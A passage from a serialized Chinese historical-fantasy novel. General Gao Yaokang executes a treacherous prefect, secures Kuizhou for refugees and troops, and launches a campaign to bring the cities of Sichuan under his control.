粮草没了。帐篷烧了一片。**几十个人。跑了几个女人。
旁边有人跪着,在发抖。
完颜宗望没看他。
他看着西边。黑漆漆的。什么也看不见。
他忽然说:
“南朝要都是这样的武将,我们怎么会打过来呢?”
旁边的人没敢接话。
他又站了一会儿。
然后转身。
“传令。明天一早,拔营北归。”
第二天早上。高尧康带着人,追上了前头的队伍。
杨蓁跑过来。看见他,站住了。
他浑身是泥,脸上全是黑,眼睛红得全是血丝。身上有血,有的干了,有的还没干,一片一片的,跟地图似的。
她没说话。走过去。握住他的手。
他的手很凉。
他看着她。
“我没事。”
杨蓁点点头。
她看见后头那两个女人。年轻的,穿着破衣裳,被人扶着走,一瘸一拐的。
“那是谁?”
高尧康说:“帝姬。赵圆珠。赵赛月。”
杨蓁愣了一下。
他看着她俩。她俩也在看着他。
他走过去。
她们看见他,忽然跪下了。
高尧康一把把她们拽起来:
“起来。别跪。再跪我把你们扔回去。”
赵圆珠抬起头。满脸是泪。
“高将军……我们……我们怎么谢你……”
高尧康说:“谢个屁。活着就行。”
他看着她们。
“以后,跟着队伍走。到了蜀地,安全了,再说。想死也等到了再死,别浪费我这条命。”
赵圆珠点点头。眼泪流下来。
赵赛月拉着她姐姐,站起来。腿还在抖。
高尧康转身,往回走。
杨蓁跟上来。
她伸手,握住他的手。
两个人站着。看着西边的路。
前头的队伍还在走。往西。往蜀地。
后头,那座大营的方向,烟还在冒。烧了一夜,还没灭。
高尧康从怀里掏出那块布。
沾血的。皱巴巴的。写满了名字。
他看着那些名字。
茂德帝姬。华福帝姬。惠福帝姬。……
他把布折起来。收进怀里。
“走。”
往西。
第九十二章 夔门定鼎
一路南行。没打仗的地方,也他麻跟打仗似的。
有的县城空了——当官的先跑了。有的县城倒是有人,但不是当官的,是土匪——当官的跑了,土匪就来了。还有几个县城,城门口贴着告示,说什么“圣驾南巡,百姓各安其业”。落款是某某知府,某某知县。但那些名字,高尧康一个都没听说过。
有人去新皇那儿勤王了——带兵的,带粮的,带钱的。浩浩荡荡过去,跟**似的。
就是没人管老百姓。
地里头的麦子没人收。路边躺着**没人埋。小孩儿坐在路边哭,爹妈不知道哪儿去了。
高尧康的队伍越走越长。
一开始是一万来人。走着走着,变成了一万五。再走着走着,两万都有了。有逃难的,有掉队的散兵,有活不下去的庄稼人,有被土匪抢了家的商贩。男的,女的,老的,小的,跟在后头,像一条河。
没人轰他们走。
也没人说要带着他们。
就是跟着。
走呗。反正也不知道往哪儿去。
终于。
夔州。城门外。
高尧康勒住马,抬头看着那座城。
城不大。城墙倒是挺高,青砖垒的,看着挺结实。城门关着。吊桥拉着。护城河里的水绿油油的,漂着烂叶子和死老鼠,臭得能把人熏一跟头。
城墙上头站着一排兵。弓上弦,刀出鞘。往下看着。跟看猴似的。
高尧康没动。
杨蓁站他旁边,眯着眼往上看了一眼,又收回目光:“这什么意思?欢迎咱们还是防咱们?”
高尧康没说话。
王彦跑过来。脸涨得通红,跟刚跟人吵完架似的。
“他麻的!”他一开口就骂,“那个姓王的说了,路不通,粮不够,让咱们搁外头等着!”
高尧康说:“等多久?”
王彦说:“没说。就说等着。等查清楚了再说。查什么?查咱们是人是鬼?”
呼延通在旁边,手按在刀柄上,指节捏得发白。
“高都指,我带人冲进去。”他不是在问,是在说,“就这破墙,一炷香。”
高尧康抬手。
“不急。”
他看着那座城。看了半天。
然后转身,往回走。
“扎营。安顿下来再说。”
城外。临时营地。
两万多人,在城外头扎了一片帐篷。跟难民窟似的。老的少的,男的女女,伤的好的,挤在一起。有人捡柴火,有人支锅做饭,有人坐在那儿发呆,有人躺在那儿哼哼。
陈东带着太学生们在帮着维持秩序——发粥,发药,发草席。一边发一边喊:“排队!排队!别挤!都有份!”
孙老头带着工匠在搭棚子——给那些没帐篷的人搭。一边搭一边骂:“这破地方,连根好木头都没有!这棚子能撑三天就不错了!”
那两个公主,赵圆珠和赵赛月,跟着杨蓁在给伤兵换药。两个姑娘蹲在地上,手里拿着布条,一个一个地缠。手上沾了血,脸上也蹭了灰,但没一个人吭声。
高尧康坐在一块石头上,看着那座城。
城墙上头,那些兵还在。跟戳着似的,一动不动。
王彦又跑过来。这回跑得慢一点,脸没那么红了。
“打听清楚了。”他蹲下来,压着嗓子,“那个姓王的,叫王诗。夔州路安抚使。在这儿待了三年了。手底下有五千兵。听说……”
他往四周看了一眼,声音压得更低:
“听说他跟金人那边有来往。”
高尧康看着他。
“什么来往?”
王彦说:“不知道。反正有人说,他早就想跑了。又有人说,他想等着金人打过来,直接投降。还有人说,他那五千兵,根本没打过仗,就是吃空饷用的。”
高尧康点点头。
王彦说:“咱们怎么办?”
高尧康说:“等天黑。”
天黑下来。
月亮没出来。云厚,厚得跟棉被似的。
高尧康把王彦、呼延通、刘实叫过来。四个人蹲在帐篷后头,跟偷东西似的。
“夔州城西边,有条小路。”高尧康说。
王彦愣了一下:“你怎么知道?”
高尧康从怀里掏出一张图。
是高俅留的那些东西里的一份。川陕地形图。画得极细。哪儿有山,哪儿有水,哪儿有路,哪儿有村子,标得一清二楚。
他指着图上的一条线。
“这条。采药人走的。能翻过去,绕到城后头。”
王彦盯着那张图,眼睛亮了。
“我带人去。”
高尧康说:“带五百人。精锐。天亮之前,把府衙给我拿下。姓王的,死活不论。但最好活的。”
王彦抱拳。
“是。”
他走了。脚步声很快消失在黑夜里。
高尧康看着呼延通。
“你带两千人,在城外等着。天亮之后,看我信号。”
呼延通点点头。
“什么信号?”
高尧康想了想。
“城里起火。”
呼延通咧嘴笑了。
“这个信号我熟。”
他也走了。
高尧康站起来。
杨蓁走过来。站在他旁边。
“我呢?”
高尧康说:“你跟着我。明天早上,从正门进去。”
杨蓁看着他。
“你有把握?”
高尧康没说话。
过了一会儿,他说:
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“没有也得有。两万多人看着呢。”
五月初十。卯时。天刚亮。
夔州城门口,忽然热闹起来。
城墙上值夜的兵,揉了揉眼睛,往外看。
城外头,来了一队人。
前头是兵。穿着破旧的军服,打着补丁,但走得齐整。脚步声啪啪的,跟一个人似的。
后头是几辆车。车上坐着女人。穿的衣裳虽然旧了,但一看就不是普通人。有一个年轻的,脸白白净净的,端坐在那儿,跟画儿上的人似的。
再后头,是黑压压一片人。老人,孩子,女人,工匠,书生。站得整整齐齐。不像逃难的,倒像赶集的。
城墙上的人愣住了。
有个当官的跑过来,扶着垛口往下看。
“你们……你们要干嘛?”
高尧康骑着马,走到最前头。仰着脖子,声音不大,但清清楚楚:
“告诉王安抚使,高尧康求见。奉旨入川。”
他从怀里掏出一卷黄绸。圣旨。新官家给的。
那当官的看了一眼那黄绸,脸色变了。
“你……你等着!”
他跑了。
过了一会儿,城墙上头,又出现一个人。
四十多岁,胖。胖得跟发面馒头似的。穿着官服,戴着官帽,站在城墙上,往下看。
他看着高尧康。看着后头那些人。看着那几辆车。看着那些女人。
他开口。声音很大,跟喊话似的:
“高尧康?没听过。圣旨?谁知道是真的假的?”
高尧康没说话。
那人继续说:“道路不通,粮饷不足。你们这些人,不能进城。在外头等着吧。等本官查清楚了再说。”
他转身要走。
城后头,忽然传来喊声。
杀声。
那胖子愣住了。回头往城里看。
城里头,浓烟冒起来。火。还有喊声。噼里啪啦的,跟过年放鞭炮似的。
他脸色变了。
“怎么回事?!怎么回事?!”
没人回答他。
高尧康在城外,举起手。
呼延通带着两千人,往前压。脚步声轰轰的,跟打雷似的。
城墙上那些兵,慌了。有的往下看,有的往后看,不知道怎么办。有几个把弓举起来了,手在抖,箭不知道往哪儿射。
那胖子转身就跑。跑了两步,帽子掉了,他也没捡。
高尧康说:“攻城。”
没有攻城。
城门从里头打开了。
王彦站在门口。浑身上下都是血,跟刚从杀猪场出来似的。但笑着。笑得跟捡着钱似的。
“府衙拿下了!”他喊,“那姓王的,从床底拎出来的!”
高尧康点点头。
第九十三章 宋军在国就在
他骑着马,进了城。
城里头,百姓站在路边,看着这些人。
有的害怕,往后退,躲在门后头,露半张脸往外瞅。
有的好奇,站在那儿不动,眼珠子跟着马转。
有的眼睛亮亮的,盯着那些兵看。盯着那些旗子看。盯着高尧康看。
有个老太太,站在路边,忽然开口:
“是……是宋军吧?是咱们的兵吧?”
没人回答她。
她自己念叨着:“是就好。是就好。可算来了……”
高尧康一直骑到府衙门口。
下马。走进去。
府衙大堂上,跪着一个人。
穿着常服——不对,不是常服,是睡觉穿的里衣。薄薄一层,跪在地上直哆嗦。头发散着,脸跟纸一样白。正是城墙上那个胖子。王诗。
旁边站着王彦的人。刀按在他脖子上。他一哆嗦,刀就在脖子上蹭一下。他更哆嗦了。
看见高尧康进来,他抬起头。
“你……你……你这是**!”
高尧康没理他。走到堂上。坐下。
从怀里掏出那份圣旨。递给旁边的陈东。
陈东接过来。展开。念:
“奉天承运,皇帝诏曰:成都路府安抚使高尧康,忠勇可嘉,屡立战功。着即入川,整饬军务,安抚百姓。所到之处,各路官员,不得阻挠。钦此。”
念完了。满堂静着。
王诗的脸白了。
高尧康看着他。
“王安抚使,你刚才说,圣旨是假的?”
王诗张了张嘴。没说出话。
高尧康说:“搜。”
王彦带着人,进了后头。
过了一会儿,他出来了。手里拿着几封信。
递给高尧康。
高尧康一封一封看。
看完,他抬起头,看着王诗。
“你跟金人通信。什么时候开始的?”
王诗的脸从白变青。从青变灰。跟变脸似的。
“我……我没有……那是……那是……”
高尧康把信扔在他面前。
纸落在地上,啪的一声。
“建炎元年三月。完颜宗翰的亲笔信。许你继续当这个安抚使,只要你献出夔州。”
他看着王诗。
“你回信说,愿意。只是要等时机。等什么时机?等我这样的傻子送上门来?”
王诗瘫在地上了。
高尧康站起来。
走到他面前。低头看着他。
“你在这儿当安抚使。金兵没打过来,你就先想着投降。一万多勤王的兵,走到你城门口,你不让进。想干嘛?想把他们送给金人当见面礼?”
王诗趴在地上,浑身发抖。抖得跟筛糠似的。
“饶……饶命……”
高尧康说:“拖出去。砍了。”
王彦把人拎起来。跟拎小鸡子似的。拖出去。
外头传来一声喊。很短。然后没了。
高尧康站在大堂上。
看着那些人。王彦。呼延通。刘实。陈东。杨蓁。
还有门口那些跟进来的人。老兵。太学生。工匠。站了一院子。
他说:“从今天起,夔州归咱们了。”
没人说话。
“王诗**。但事儿没完。城里头五千兵,得整编。百姓得安抚。粮草得清点。城防得加固。”
他看着那些人。
“都动起来。”
五月初十。下午。
城里贴满了告示。
“战时特别管制。”
第一条:设立粥厂。每天两顿。老人孩子优先。
第二条:安民。**者死。抢掠者死。**者死。说到做到。
第三条:原州兵全部打散,重新整编。军官统一集训。愿意留下的,按新规矩来;不愿意留下的,发路费走人。
第四条:招兵。愿意从军的,管吃管住。有手艺的,优先。木匠,铁匠,泥瓦匠,大夫,都行。
告示贴出去一个时辰,粥厂门口就排起了队。
老人。孩子。女人。还有那些面黄肌瘦的男人。排得弯弯曲曲的,跟一条长虫似的。
孙老头带着工匠,在那边支锅。大铁锅,三口,一字排开。煮粥。米是王诗库里搜出来的。好几大仓,够吃三个月的。
锅里的粥咕嘟咕嘟冒着泡,香气飘得
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满街都是。
有个小孩站在队伍里头,盯着那锅看,眼睛都不眨。
他娘拽了他一把:“别看了,一会儿就轮到了。”
小孩说:“娘,那是米吧?真是米吧?”
他娘没说话。
陈东带着太学生们,在帮着维持秩序。有人插队,他们就喊:“排队!排队!别挤!”喊不管用,就找兵。兵往那儿一站,插队的就缩回去了。
杨蓁带着那些女人,在给百姓看病。从汴京带出来的药,还剩一些。先紧着孩子和老人用。她蹲在地上,给一个老太太把脉。老太太瘦得皮包骨头,手腕跟柴火棍似的。
赵圆珠和赵赛月也在帮忙。两个公主,蹲在地上,给那些孩子擦脸。孩子脏得看不出模样,脸上全是泥和鼻涕,她们也不嫌。拿着湿布,一个一个擦。
有个小男孩被赵圆珠擦着脸,一动不动,眼珠子跟着她转。
“你是仙女吗?”他忽然问。
赵圆珠愣了一下。
“不是。”
小男孩说:“那你长得跟仙女似的。”
赵圆珠脸红了。没说话,继续给他擦脸。
旁边一个老太太拉着赵赛月的手,哭着说:“姑娘,你们是哪儿来的?是神仙派来的吧?”
赵赛月摇摇头。
“不是神仙。是高将军让我们来的。”
老太太说:“高将军?好人呐。好人呐。”
她念叨着,眼泪流下来。
赵赛月不知道该说什么。只是握着她的手。
城外头,那些跟着来的老百姓,正在往城里走。
有的背着包袱。有的牵着孩子。有的扶着老人。一个一个,走过吊桥,走进城门。
城门口,站着几个兵。不是拦着的,是指路的。
“往里走!往里走!别堵着!”
“粥厂在东街!领号排队!”
“有伤有病的往西走,那边有大夫!”
人群慢慢往里走。
有个老头走到城门口,忽然停下来。抬头看着那座城门。
看着那块匾。夔州两个字。
他忽然笑了。
笑着笑着,哭了。
第九十四章 稳定人心
那天晚上。府衙后堂。
高尧康坐在灯下,跟一堆文书死磕。那些纸摞得跟坟头似的,全是王诗留下的烂账——吃了多少空饷,贪了多少银子,跟金人写了多少封信。他看得眼睛都快瞎了。
杨蓁走进来。端着一碗粥。
“吃点东西。再看就成瞎子了。”
高尧康接过来。喝了一口。放下。继续看。
杨蓁坐在他对面,托着腮看他。
“今天城里头,都在说你。”
高尧康头也不抬:“说什么?”
杨蓁说:“说高将军是好人。说高将军杀得好。说总算有人管事了。还有人说你长得像门神。”
高尧康终于抬起头:“门神?”
杨蓁忍着笑:“尉迟敬德那种。黑,凶,但看着踏实。”
高尧康没说话。继续看文书。
杨蓁看着他。
“你累不累?”
高尧康说:“累。”
杨蓁说:“那睡一会儿。”
高尧康说:“睡不着。”
杨蓁没再说话。只是坐在那儿,陪着他。灯芯偶尔噼啪一声,跟放小鞭炮似的。
外头,忽然有人敲门。
杨蓁站起来。去开门。
门口站着一个人。
茂德帝姬赵福金。
她换了身干净的衣裳。头发也梳好了,不像之前那样乱糟糟的。站在那儿,灯照着她,脸白白净净的,跟画上的人似的。
杨蓁侧身让她进来。
她走进来。走到高尧康面前。
看着他。
高尧康抬起头。
“有事?”
赵福金说:“今天白天的事,我看见了。”
高尧康等着下文。
赵福金说:“杀王诗的时候,我在人群里。看着。”
她顿了顿。
“那些人,那些百姓。他们跪下去,朝着府衙磕头。朝着你磕头。”
高尧康没说话。
赵福金看着他。眼睛亮亮的。
“将军非常人。”
高尧康说:“什么意思?”
赵福金说:“我见过的官员多了。我爹是皇帝。我嫁的人是蔡京的儿子。那些官员,见了百姓,眼睛长在头顶上。见了权贵,膝盖就软了。软的跟面条似的。”
她看着高尧康。
“你不一样。你不跪权贵,也不踩着百姓。”
高尧康沉默了一会儿。
然后他说:“公主,你想说什么?”
赵福金愣了一下。
然后她笑了。
笑得很轻。有点不好意思。
“没什么。就是想告诉你,我看懂了。”
她转身往外走。
走到门口,忽然停住。
没回头。
“高将军。”
“嗯。”
“我以后,能帮你做事吗?”
高尧康看着她。
她站在门口。灯从背后照过来,照出个剪影。肩膀挺得直直的。
他说:“你想做什么?”
赵福金说:“什么都能做。我不当废人。那些宫女,那些跟我一样的女人,我能管。我能教她们认字,教她们做事。我总得干点什么,不然……不然我老想着那些事。”
她没说哪些事。但高尧康懂。
他沉默了一会儿。
“行。明天去找林娘子。她那儿缺人手。她要是说你不行,你再来找我。”
赵福金点点头。
走了。
杨蓁站在旁边,看着那扇门。
“她喜欢你。”
高尧康沉默。
杨蓁看着他。
“你怎么想?”
高尧康说:“我有你了。”
杨蓁愣了一下。
然后笑了。
笑得跟捡着钱似的。
五月十五。夔州大营。
五千原州兵,站在校场上。站得乱七八糟的——有的歪着,有的晃着,有的在抠鼻子,有的还在交头接耳,跟赶集似的。
高尧康站在台上,看着那些人。
王彦在旁边,脸拉得跟驴一样长:
“就这些。看着不少,真打起来,一碰就散。我估摸着,里头一半连刀都没摸过,光知道吃空饷。”
高尧康说:“那就练。”
他走到台前。看着那些人。
“我叫高尧康。从今天起,你们归我管。”
底下有人嘀咕。听不清说什么。但看嘴型,不是什么好话。
高尧康继续说。
“我知道你们在想什么。想跑。想散。想等着金兵打过来,换个主子继续当兵。”
底下静了。抠鼻子的也不敢抠了。
“但我告诉你们——金兵来了,跑不了。换了主子,你们还是兵。还是得打仗。还是得死。死哪儿不是死?”
他看着那些人。
“但跟着我,不一样。”
“跟着我,有饭吃。有饷拿。受伤了有人治。死了有人埋。家人有人管。老婆孩子饿不死。”
“但有一条——得听话。得练。得能打仗。不能打的,我亲手把他踢出去。”
他看着那些人。
“愿意留的,站左边。不愿意留的,站右边。右边的人,领三个月饷,走人。爱去哪儿去哪儿,别让我再看见。”
底下乱了一会儿。
然后人开始动。有的往左边走,有的往右边走,有的站在中间不知道往哪儿走,被旁边的人拽走了。
最后清点。左边四千三百人。右边七百人。
高尧康说:“右边那七百,发饷。让他们走。麻利点。”
王彦点点头。
高尧康看着左边那四千三百人。
“从今天起,你们是新军了。新军有新军的规矩。第一条——我说的话,就是规矩。”
底下没人吭声。
高尧康转身下台。
走了两步,忽然回头:
“对了。明天卯时,校场集合。迟到的人,绕着校场跑二十圈。我说到做到。”
五月二十。府衙。
高尧康在屋里看地图。川陕的山,跟狗牙似的,一道一道的。
王端敲门进来。
手里拿着几张纸。
“帅司,清点出来了。”
他把纸放在桌上。纸上有墨,有手印,还有几个茶叶印子,不知道是谁喝茶洒的。
“王诗的库里,存粮三万石。银子二十万两。布匹五千匹。军械……”
高尧康听着。点点头。
然后他问:“他那个小妾呢?”
王端愣了一下:“什么小妾?”
高尧康说:“抓他的
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时候,不是有个女的在他屋里?穿红衣裳那个。”
王端说:“哦,那个。放了。”
高尧康看着他。
王端说:“查过了。不是他老婆,是被他抢来的。良家妇女。家在城外,男人还在。我让人送回去了。”
高尧康点点头。
“做得对。”
六月初一。夔州城外。
一万多人,站在空地上。
有新招的兵,有原来的工匠,有太学生,有从汴京跟来的百姓。黑压压一片,跟蚂蚁窝似的。
高尧康站在一块石头上。石头不稳,他晃了一下,旁边的人想扶,他自己站稳了。
他看着那些人。
他开口。声音不大,但前头的人听得见,后头的人传话,一会儿就传遍了。
“一个月前,咱们在汴京。城破了。官家被抓了。很多人死了。”
“一个月后,咱们在这儿。夔州。活着。”
他看着那些人。
“活着不是为了喘气。是为了记住。记住金兵干了什么。记住那些死了的人。记住咱们为什么来这儿。”
底下没人说话。都听着。
“咱们来这儿,是练兵。是造器。是等。”
“等有一天,打回去。”
底下有人喊:“打回去!”
第二个。第三个。一片。
喊声震天。把树上的鸟都惊飞了。
高尧康等喊声停了。
“从今天起,夔州就是咱们的根。练兵在这儿,造器在这儿,种粮在这儿。等时机到了,就从这儿打出去。”
他看着那些人。
“都听明白了吗?”
万人齐喊:“明白!”
那声音,跟打雷似的,轰轰的,半天没散。
那天晚上。高尧康站在城墙上,看着北边。
北边黑漆漆的。什么也看不见。连颗星星都没有。
杨蓁走过来。站在他旁边。手里拿着件披风,给他披上。
“想什么呢?”
高尧康说:“想宗泽。”
杨蓁说:“他还在开封?”
高尧康说:“在。守着。六七十岁的人了,还在守。”
杨蓁沉默了一会儿。
“他会死吗?”
高尧康没说话。
过了一会儿,他说:
“会。但在那之前,他会一直守着。守到死。”
他看着北边。
“咱们也得快点。不然,来不及。他撑不了多久。”
杨蓁握住他的手。
她的手热乎乎的。
“那就快点。”
月亮出来了。从云后头钻出来,照在城墙上,照在那两个人身上。
远处,传来一阵操练的喊声。
“杀——杀——杀——”
那是新兵在夜训。王彦带的。那孙子喊得比谁都响,跟狼嚎似的。
杨蓁听着那喊声,忽然笑了。
“你听。”
高尧康说:“听见了。”
杨蓁说:“像不像在汴京的时候?”
高尧康沉默了一会儿。
“像。也不像。”
杨蓁说:“怎么不像?”
高尧康说:“那时候,不知道打谁。现在知道了。”
他看着北边。
“现在知道了。”
第九十五章 三路计划
建炎元年六月十八。夔州。府衙。
高尧康站在地图前头,站了一个时辰。跟钉在那儿似的。
图上画着三路。成都府路。潼川府路。利州路。山川、河流、城池、关隘,标得密密麻麻。有些地方他用手指点了又点,指肚都磨红了。
杨蓁推门进来。手里端着碗面。
“吃了。再看地图也看不饱。”
高尧康接过来。扒了两口。放下。
杨蓁看着那碗面。汤还冒着热气,面少了一半。
“就吃这两口?喂猫呢?”
高尧康没理她。指着地图。
“成都府。两千三百里。潼川府。一千八百里。利州。一千二百里。”
他看着杨蓁。
“三个月。能不能拿下?”
杨蓁走过去,看着那张图。图上有些地方被他点出了印子,跟痦子似的。
“你想怎么打?”
高尧康说:“双管齐下。”
他指着图上两条线。手指从夔州划出去,像刀切过去。
“一路西进。王彦带兵。你跟着。从这儿,到这儿,再到这儿。一路打过去。能谈的谈,不能谈的打到能谈。”
他又指着另一条线。
“一路北上。沈万金走前头。带着钱,带着圣旨,带着帝姬的名头。能谈的谈,能买的买。谈不拢买不动的,后头有兵。”
杨蓁看着他。
“你留在夔州?”
高尧康说:“嗯。坐镇。你们在外头打,家里得有人守着。万一哪个王八蛋抄后路,得有人顶着。”
杨蓁沉默了一会儿。
“三个月。能行吗?”
高尧康说:“能行。”
他看着地图,又补了一句:
“不行也得行。宗泽那边,撑不了多久。”
六月二十。城外。五千精兵集结完毕。
王彦骑着马,在校场上来回走。跟巡山似的。看那些兵。看那些枪。看那些弩。看那些火药。嘴里念叨着:“这个还行……这个差点意思……这个谁招的?瞎了?”
高尧康站在台上。
杨蓁站在他旁边。穿着甲,腰里别着刀。脸上干干净净的,那道疤彻底没了。她扭头看了他一眼。
王彦跑过来。勒住马。
“高都指,人齐了。五千个,一个不多一个不少。有俩早上吃坏肚子的,也硬挺着来了。”
高尧康点点头。
他看着那些兵。五千人。从真定带出来的,从汴京带出来的,从夔州新招的。站得整整齐齐。太阳底下,影子拉得老长。
他开口。
“往西。成都府路。潼川府路。一千多里路。有的城,会开门迎你们。有的城,会把你们关在外头。”
他看着那些人。
“开门的,别扰民。别进去就抢人家鸡,别见着女人就流口水。关门的,打下来。打下来的,别乱杀。杀俘不祥,杀老百姓缺德。”
“记住,咱们是王师。不是土匪。土匪是什么?土匪是过境就刮地皮,刮完就跑。咱们不跑。咱们要在这扎根。把这当成家。谁见过在自己家里砸锅的?”
五千人齐声喊:“是!”
高尧康走下台。走到杨蓁面前。
看着她。
她脸上有汗。太阳晒的。
“活着回来。”
杨蓁笑了。
“你也是。别我回来一看,你饿死在文书堆里了。”
她翻身上马。马打了个响鼻,原地踏了两步。
王彦举起手。
五千人,转身,往西走。脚步踩在地上,轰轰的,跟打鼓似的。
杨蓁在马背上回头,看了他一眼。
然后转回去。走了。
高尧康站在那儿,看着那些背影越走越远。越走越小。最后变成一条线,消失在天边上。
沈万金站在他旁边。胖,穿着新做的绸衫,手里拿着一把扇子。但没扇。手心都是汗。他把手在衣服上蹭了蹭,又出汗了。
“帅司,我……我也该走了。”
高尧康看着他。
“怕不怕?”
沈万金愣了一下。
“怕……怕什么?”
高尧康说:“怕那些官。怕那些兵。怕万一谈崩了,人头落地。那边可没人给你收尸。”
沈万金的汗更多了。脑门上亮晶晶的,跟抹了油似的。
他擦了擦。又擦了擦。
然后他说:“怕。怕得要死。昨天晚上一夜没睡着,翻来覆去跟烙饼似的。”
他看着高尧康。
“但帅司,我沈万金做买卖做了三十年。见过太多人了。有些官,看着威风,其实心里虚得很。给点银子,就软了。跟煮过的面条似的。”
他顿了顿。
“有些官,给银子也不软。那种人,就得靠王将军后头的兵。我前头把路探好,他后头跟上。双管齐下嘛。”
高尧康点点头。
“路上小心。该跑就跑,别硬撑。命比银子值钱。”
沈万金抱拳。肚子挺着,有点费劲。
“高都指保重。等我好消息。”
他走了。带着一队人,带着几车银子,带
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着圣旨的抄本,带着赵福金写的一封信。
北上。
六月二十五。渝州。
城门关着。城墙上站着人。
沈万金站在城门口,举着圣旨,举着赵福金的信。太阳晒得他脑门冒油,汗顺着脖子往下流。
城门上的人看了半天。没开。
沈万金等着。腿都站酸了。
等了半个时辰。城门开了条缝。
一个人走出来。穿着官服,四十来岁,瘦,眼睛小。眯着眼睛看沈万金,跟看什么稀罕物件似的。
“你就是沈万金?”
沈万金点头哈腰。肚子碍事,弯不下去太多。
“正是正是。敢问大人是……”
那人说:“本官渝州知州。姓周。”
沈万金把圣旨递过去。双手捧着,恭恭敬敬。
周知州接过来。看了看。又看了看沈万金。再看看圣旨。再看看沈万金。
“这圣旨……是真的?”
沈万金说:“如假包换。新官家亲笔。钤印在那呢,您仔细瞅。”
周知州又看了看。
“那个高尧康……什么来头?”
沈万金说:“高太尉儿子。土门关打过仗。汴京守过城。宗泽宗留守称他是擎天之材。李纲李大人也夸他。夔州那个王诗,您认识吧?想降金的,被他砍了。脑袋现在还挂在城门上呢。”
周知州听着。脸上的肉动了动。咽了口唾沫。
“进来吧。”
七月初三。普州。
城门关着。城墙上站着人。弓箭手。对着下头。箭头亮晶晶的,太阳底下晃眼。
沈万金站在城门口。举着圣旨。举着信。
城墙上的人没动。
他又等了一会儿。腿又开始酸了。
城门上忽然有人喊:
“滚!”
沈万金愣住了。
他抬头看。城墙上站着个胖子。穿着官服,脸红脖子粗,跟煮熟的螃蟹似的。往下喊:
“什么高尧康?没听过!什么圣旨?假的!老子在这儿当官当了八年,谁来了都一样!让他自己来!”
沈万金还想说话。嘴刚张开。
那胖子一挥手。
嗖的一箭,射在沈万金脚前头。箭尾的羽毛还在抖。
沈万金跳起来。跟踩了弹簧似的。往后退。退了几步。转身就跑。
跑了二里地,才停下来。喘着气。浑身是汗。腿都软了。
他回头看了一眼那座城。
然后对身边的人说:
“走。去找王将军。这孙子敬酒不吃。”
第九十六章 传檄而定
七月初七。普州城外。
王彦带着五千兵,站在城下。黑压压一片,跟蚂蚁似的。
杨蓁骑着马,站在他旁边。手按在刀柄上。
城墙上,那个胖子还在。往下看。脸还是红的。但红得不那么硬气了。
王彦喊:“开门!”
胖子喊:“不开!”
王彦喊:“你他麻的,不开门老子打进去!”
胖子喊:“你打!老子有三千兵!怕你?”
王彦笑了。
他转过头,看着杨蓁。
“这人是不是傻?三千兵?他睁眼数过没有?我估摸着能有八百就不错了。”
杨蓁说:“可能是。也可能是虚张声势。”
王彦说:“那我就让他见识见识什么叫不虚张声势。”
他举起手。
火枪队往前压。弩手往两边散。脚步齐刷刷的,跟一个人似的。
城墙上,那胖子的脸不红了。白了。白得跟纸似的。
他喊:“你们……你们要干嘛?!”
王彦没理他。
手往下一砍。
轰轰轰轰轰。
火枪响了。弩箭飞上去。城墙上的人往下掉,跟下饺子似的。
那胖子不见了。不知道是趴下了还是掉下去了。
半个时辰后,城门开了。
王彦骑着马进去。杨蓁跟在旁边。
街上没人。都躲屋里了。门缝里偶尔有眼睛往外瞅,一碰上目光就缩回去了。
他们走到府衙门口。那胖子跪在地上。浑身发抖。官服上沾着土,帽子不知道哪儿去了。
王彦下了马。走到他面前。
蹲下。
“刚才你说什么来着?老子有三千兵?”
胖子磕头。磕得咚咚响。脑门磕破了,血顺着鼻子往下流。
“饶命……饶命……”
王彦站起来。看着杨蓁。
“这人怎么处理?”
杨蓁说:“等帅司指定。先关起来。别弄死了,留着有用。”
王彦点点头。让人把胖子拖走。那胖子腿软得站不起来,被两个人架着,跟拖死狗似的。
他站在府衙门口,看着这座城。
“又一座。”
杨蓁没说话。
她看着街上那些紧闭的门窗。
“安民吧。贴告示。别让底下人乱来。”
七月初十。昌州。归附。
七月十五。合州。归附。
七月二十。资州。打了三天。打下来了。
七月二十五。富顺监。归附。
七月三十。泸州。归附。
八月初五。恭州。归附。
八月初十。长宁军。归附。
八月十五。中秋节。
杨蓁站在一座小城的城墙上,看着月亮。月亮很圆,跟个大烧饼似的挂在天上。
王彦走过来。手里拿着两块饼。
“吃。月饼。这儿的人做的。里头有馅。”
杨蓁接过来。咬了一口。
甜的。里头有糖。还有点什么核,咬起来咯吱咯吱的。
她吃着吃着,忽然说:
“他在干嘛呢?”
王彦愣了一下。
“谁?”
杨蓁没说话。继续吃饼。
王彦懂了。抬头看月亮。
“在夔州呗。还能干嘛。看地图,批文书,练兵。说不定这会儿也在看月亮。”
他看着月亮。
“这才一个月。还有两个月呢。急什么。”
杨蓁没说话。
继续吃那块饼。吃完了,把渣拍掉。
八月初。成都府。
沈万金站在城门口。这回没举圣旨。
他身边站着一个人。
赵福金。
她穿着寻常妇人的衣裳,青灰色的,一点都不起眼。头发挽着,脸上没脂粉。但站在那儿,就是不一样。腰挺得直直的,眼睛看人的时候,不躲。
城门开了。一个人迎出来。
成都府路转运使。姓郑。六十来岁,瘦,脸上全是褶子,跟核桃似的。但眼睛亮。看人的时候,像能把人看透。
他看着赵福金。看了很久。
然后他忽然跪下去。膝盖砸在地上,咚的一声。
“臣……参见帝姬。”
赵福金说:“起来吧。我不是什么帝姬了。汴京破了,朝廷没了,我就是个逃难的女人。”
郑转运使不起来。
他跪在地上,抬头看着她。
“帝姬在,大宋就在。”
赵福金愣了一下。
郑转运使说:“老臣在成都待了
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二十年。见过太多事了。蔡京来过。童贯来过。那些人来的时候,带着兵,带着钱,带着圣旨。老臣都跪过。”
他看着赵福金。眼睛里有光。
“但老臣跪的是那身衣裳,不是那个人。”
他顿了顿。
“今天跪帝姬,跪的是这口气。”
赵福金沉默了一会儿。
然后她伸出手,把他扶起来。
“郑大人,进去说话。外头晒。”
郑转运使站起来。拍了拍膝盖上的土。
他看着赵福金,又看了看沈万金。
“这位是?”
沈万金赶紧抱拳:“沈万金。跑腿的。给高将军办事。”
郑转运使点点头。
“高尧康。听说过。王诗死在他手里,对吧?”
沈万金说:“对对对。就是那个王诗。想降金的,砍了。脑袋挂城门上。”
郑转运使又点点头。
“进去说。”
三人往城里走。
城门口,那些兵站着,看着。没人拦。
走进去,是一条大街。街上有人。做买卖的,走路的,说话的。该干嘛干嘛。跟没打仗似的。
赵福金看着那些百姓。
郑转运使在旁边说:
“帝姬放心。成都没乱。老臣在一天,就乱不了。”
赵福金看着他。
“郑大人,你就不怕?万一金兵打过来?”
郑转运使说:“怕。怎么不怕。但怕有什么用?”
